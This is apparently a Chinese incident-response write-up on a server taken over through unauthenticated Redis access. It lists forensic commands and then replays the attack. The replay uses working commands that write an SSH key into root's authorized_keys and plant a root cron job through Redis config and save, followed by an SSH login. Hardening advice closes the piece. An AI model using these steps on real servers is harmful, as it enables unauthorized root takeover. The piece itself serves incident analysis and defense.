0 继续篇章
在上一篇【应急响应】redis未授权访问致远程植入挖矿脚本(防御篇)中,从防御的角度详细描述了应急响应以及流程。本篇继续从日志等入侵痕迹中分析,寻求突破,以一个攻击者的角度还原redis攻击,从未授权访问到写入ssh公钥直至控制整台服务器,进一步确定此次勒索事件的根本原因。
1 入侵痕迹
查看最近一个月更改的文件
find -type f -mtime -30 |
---|
使用root账号登录x.x.x.x,在根目录下查看ssh相关的可疑文件。
ls –al |
---|
进入ssh文件夹,查看ssh文件内容:
cd .ssh/ls –alcat authorized_keyscat authorized_keys_20170318cat authorized_keys.bak20170319 |
---|
2 漏洞排查
从执行命令记录分析,可疑操作:测试bash远程解析命令执行漏洞的poc语句。
因此对该主机进行漏洞扫描,未发现存在bash漏洞。
2.2 redis未授权访问漏洞验证
使用redis客户端尝试连接x.x.x.x成功,且发现ssh公钥
执行服务器操作指令,获取redis以及服务器基本信息:
info |
---|
获取cat:
config get dir |
---|
设置redis备份路径(以此说明redis权限过大,具有root权限)
config set dir /root |
---|
3 攻击过程
通过结合服务器被入侵痕迹与漏洞情况进行分析,判定:主机x.x.x.x由于Redis未授权访问漏洞,造成SSH免密码登录。
为了更好地理解该主机如何被入侵至沦陷,现将模拟黑客手法还原整个攻击过程。
ssh-keygen -t rsa |
---|
(echo-e"\n\n";cat id_rsa.pub;echo-e"\n\n")>foo.txt |
---|
cat /home/Yxiu/.ssh/foo.txt | ./redis-cli -h x.x.x.y -x set sectest20170410config set dir /root/.ssh/config get dirconfig set dbfilename"authorized_keys"save |
---|
sectest20170410写入成功
有时候在利用redis写公钥后依然不能空密码登录,可能是由于authorized_keys的权限问题,可通过linux任务计划来设置权限为600
echo -e “\n\n*/1 * * * * /bin/chmod 600 ~/.ssh/authorized_keys\n\n”|redis-cli -h x.x.x.y -x set 1redis-cli -h x.x.x.y config set dir /var/spool/cron/redis-cli -h x.x.x.y config set dbfilename rootredis-cli -h x.x.x.y save |
---|
root@kali:~/.ssh# ssh -i id_rsa root@x.x.x.y |
---|
4 修复建议
<1>权限设置
将redis权限设置为最小化权限,禁止使用root权限运行。区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config。
<2>端口设置
配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379。
<3>强口令设置
对redis设置强口令,禁止未授权访问。